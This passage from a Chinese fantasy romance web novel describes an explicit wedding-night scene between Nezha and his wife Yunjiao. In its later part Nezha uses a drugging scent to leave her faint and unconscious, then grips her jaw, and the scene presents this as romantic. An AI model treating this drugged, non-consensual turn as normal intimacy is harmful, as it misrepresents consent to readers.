难怪殿内熏了奇怪的香,是想害她,还是杀她? 哪吒:………… 烛火晃动,在帷幔上投射出二人影子。 少年低垂眉眼,并未多言,雪白的寝衣衬得他肤色愈发冷白,唯有俊美脸庞泛起薄红,高挺的鼻梁上凝着细密汗珠,欲坠不坠。 云皎不由咽了咽口水。 她并非真的什么也不懂,旋即反应过来,声音软了些,“你是…了吗?” 寂静少顷后,哪吒轻轻嗯了声。 他抬手,比她高得多的人,手臂亦是修长,轻易就将她重新揽了回来。 “夫人,早些安歇吧。”他道。 即便少年面庞绯色极盛,他的行动却不急迫,甚至还有几分从容,摸去她腰间解开寝裙系带,又得寸进尺探入,轻车熟路掐住她腰侧软肉,将她往身前箍。 这一套动作太行云流水,云皎心里才放松些,这下又有点懵。 丰盈细腻的肌理在他指腹间游移,很快抚到她后脊,似故意的,往微凹的逆鳞处按了按。 云皎唇间抑制不住地溢出声娇吟,真红了脸,“不许碰那儿。” 他懒声解释:“无意的。” 谁信。 云皎试图后退,但寝衣散开,半边肩上的衣衫滑落,她下意识抬手去提,反被他的大掌盖住手心。 “夫人,你在作甚?”他眼上没覆白纱,眸光却未聚焦,佯装不解问。 撑在她身前,微微俯首,鼻尖正蹭过那片裸.露的冰凉肌肤,之后是他的唇,轻轻落在上面。 不知是汗珠,还是他唇上一点温热的湿意,令她肩头染上水痕。 云皎也因此发觉夫君的皮肤烫得惊人,她天生体凉,那点热意于她更加鲜明,弄得她一激灵,用力推他。 “等一会儿!”她头皮发麻,被他揉过的尾椎更是阵阵酥.软,“你先别急,我得学习一下……” 自边几上摸到方才随手丢去的房中秘术,云皎假装埋头苦看。 又看书,一本新书。 但不敢看他。 云皎看书,看了也不过眼。新婚当夜的避火图很快被她丢至一旁,她的两个副手见状,许是忘了他目不能视、或是再无处可放,又都送来他寝殿里。 他倒是翻了一遍。 哪吒支着身在她身前,垂头,便瞧见她不时抬头看他一眼,又假装什么也没发生般挪开视线。 她知他“瞧不见”,面对他时神情都是真实的,如此,也便于他次次观察她的情态。 烛光透过帷幕渡来,将少女那双漂亮的眸映得莹亮,其中水光潋滟,俨然也因他方才的触碰而情.动。 但胸口只是小心翼翼起伏,似不想让他察觉。 他若有所思着,没有强迫,嗯了一声。 云皎顿时松了口气,却因放松,一点迷香浸染的潮红神态完全漫上脸庞。 愈发显得肌骨艳冶、眉眼生春。 哪吒静静看着她的一举一动,亦在感受体内躁动的心火,一呼一吸间,尽是燥热与沉郁。 难受么?自然是难受的,仿佛有什么在血肉之下企图撕毁一切,又渴求着什么。如今他只是一具凡躯,仅是凡界的迷香,便叫欲.望以摧枯拉朽之势燃起。 凡人,本有七情六欲,无可避免。 但这本是他刻意纵容。 允许迷香的点燃,暗火的流动,放任她躺在他身边,他想要与她亲近、沉沦,彼此交.融,密不可分。 甚至想要永远纠缠,至死方休。 为何会想如此?哪吒不是想不明白。 他向来是见微知著、一念通明的人,正如凡人有欲,他对她的欢喜与占有之心,亦由此而生。 少女的姿容是那般秾艳,稍显稚气的脸庞,娇俏灵动的意态……于如今占据凡躯的他而言,却尽数恰到好处。 作为凡人死去的那一年,他也正是年少。 ——一切便理所当然。 从第一眼,就是极合眼缘。 他明白如今的身.体渴望与她亲近,那便亲近。哪怕之后回去原本的莲花仙躯,无论对她还会不会有爱或欲…… 但他想,她是他的。 哪吒从不计较未发生之事,亦不会因此退缩。他清楚自己担得起一切后果,自然也包括这一瞬的悸动,与妄念。 “嘶,这个怎么是这样的……拧麻花似的。”云皎呐呐的音色却将他心头躁动搅乱。 她只是随口哼唧,拧起好看的细眉,钻研认真。 哪吒却眉心一跳,预感不妙——她又看入迷了。 他不由自主地回忆起新婚之夜的荒唐。云皎慵懒倚在软榻上,喜服妍丽,姿态妩媚,但只要一张嘴,每一段犀利点评,都会落在他意想不到的地方: 画中女子头发太少、男子头身失调、两人的姿势过于抽象,谁绝不可能以这等姿势将对方抬起…… 哪吒不动声色地往前倾身,她下意识想缩,反被他扣按膝弯,“夫人,学完了么?” 怎知此举还是太急,反倒激起她的提防。 但她的提防不是防御,而是睁大明眸,倏忽提出另一个要求,“我知道你很急,但你先别急……今夜,我要自己来。” 言罢,她轻轻眨眼,一缕纤细蛟丝自指尖窜出,攀上他的手腕就将他捆了起来。 哪吒蹙眉,仍未反抗,任由她将他的手缠在床柱上,整个人仰面躺倒。 他心觉自己应耐心些,只低声,诱哄道:“夫人,此事交由夫君便好。” 云皎却不听,自顾自跪坐起身,挑眉轻笑。 微凉的指尖不知何时染上热意,揉按在他腰腹间,拨开那一层雪色衣料。 但很快她的神色又变得古怪,掌心合拢寸寸丈量,只觉和书上看过后能想象的不太一样…… 哪吒闷哼一声,呼吸微乱。 他音色又哑了一分,“夫人,怎么了?” 衣衫被她剥开半边,少年精壮的上身一览无余,冷白如玉的皮肤、条理分明的肌肉,紧实有力,没有丝毫赘余。可当她再向腰腹瞥去,仍忍不住怔住。 她又仰头看他。 烛火盈盈间,他乌发垂落,剑眉凤眸,五官精致昳丽如玉雕精琢,尤其是高挺的鼻梁,轮廓分明,更添出彩。 就是…… 脸这么白这么嫩,怎么…… “那什么…”她又瞥了眼,声若蚊呐,“我以为吧,书里已经够夸张了,但你怎么比书里还……” “……” 随口嘟囔几句,夫君的武器却似有灵性,在她掌中猛地搏动。 她下意识地收拢五指。 哪吒眉心紧蹙,眼尾殷红,喉间压抑着喑哑的喘。云皎见状连忙将书摊在他腰上,又不小心勾缠到他的发丝,悻悻埋头实干,“我不是埋怨你,是夸!夸你天赋异禀呢……哈哈。” 前世她从网上听闻说 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她复又垂头,才发觉自己手心也已汗湿,炽热又略带黏膩,明明是要凝神,思绪却又飘远…… 还好方才留了个心眼,说今夜自己先来,不然他这样…虽然她不怕痛,但,还是感觉有点超过了。 “夫人。”良久,哪吒嗓音喑哑浓重。 云皎的手早已滚烫,柔嫰的掌心贴着他,微微发颤。 他抬眼,亦可见她睫羽在轻抖,两颊晕染绯红,眼中剔透晶莹,像是浸润了水色。 “又怎么了?”她略有不耐。 她还“又”起来了,哪吒额角青筋跳动,“弄疼我了。” 如此生涩,不如不做。 但云皎道:“那我慢点吧。” “……” 帷幔浮动下,少年的呼吸愈发急促,他一直在忍,忍她根本不含其他心思的探玩。甚至有几次,她做的实在是过分。 他渐渐忍不住,心底的燥勾缠起不耐的怒,心知她完全是在玩.弄他。 事实上,他也早看出来,云皎与他成婚,起初不过是受香粉蛊惑,心觉自己有了个夫君。 可她并不懂,或是说,她本不需要这个夫君,更遑论与他更进一步。 她对“夫君”的理解,不过是可以珍藏在另一个的琉璃柜里的漂亮人偶,尚未真正意识到…夫君,究竟意味着什么。 思及此,哪吒心底生出莫名郁气,用尽最后的耐心,哑声唤她:“……皎皎。” 云皎片刻后才意识到他是喊她,仰起头,便见他漆黑如墨的眸子,眼尾一点水盈,似蒙了层雾。 分明该瞧不见她,可瞳孔里又真真切切映着她赧红的脸庞,叫她愣了愣。 “皎皎,我教你如何做。” “……” 哪吒音色泠泠,如清泉击石,本该极为动听。 他又聪慧过人,学什么都快,既看过避火图,便对此事亦有把握,语气里带着稳然气度,唯有尾音还透着一丝被她磨蹭出的颤。 可云皎并不是个好学生,或是本就对此事不甚感兴趣,只是听得白菰误雪一激将,激动的心褪去后,面上意兴阑珊。 她甚至明目张胆打了个哈欠,掀起眼皮瞥他,“好困,要不明日再说吧。” 哪吒沉默下来。 “此事也无甚乐趣。”她自顾自松了手,还在他衣摆上蹭蹭,“还不如看画呢……夫君,听闻它会自己消去的,我们先睡吧。” 哪吒喉间溢出一声意味不明的冷笑,甚至,流露几分戾气。 云皎立刻警觉,却听他徐徐图之,“但夫人是愿意与莲之鱼水相欢的,对么?” 提议结束还是让云皎有点不好意思,哄他几句也无妨,她点点头道:“那是自然,就是今晚我有点——” 哪吒轻笑,压抑下语气里的一丝怒火裹挟后的恶劣兴味,“好,好,夫人,你凑近些。” “怎么?”云皎不解,反懈了几分警惕,凑去看他。 顷刻间,帷幔中原本弥漫的浓郁香雾,似换了种更清冽却也更具侵占性的气味。 是莲香。 云皎总在自己夫君身上闻见的、熟悉的莲香。 她颤了颤眼眸,顿感迷茫,却觉得这样的香气比迷香好闻太多,叫她忍不住渴望地向他攀去。 贴住他烫得惊人的肌肤,在他身上留下自己的体温,手掌按压下去时触及的硬朗腰腹,透着隐忍不发的蓬勃力量感。 香气太浓,她逐渐失了力气,手腕一软险些栽倒一侧,又被他宽厚的大掌扣住腰抚正。 她听见他轻叹:“云皎……” 玩弄他,戏耍他。 呵,云皎。 云皎最后的意识,唯余略带薄茧的温热指腹抚过她的脖颈。 旋即,仿佛带着不容拒绝的某种意图,猛地扼紧她下颌……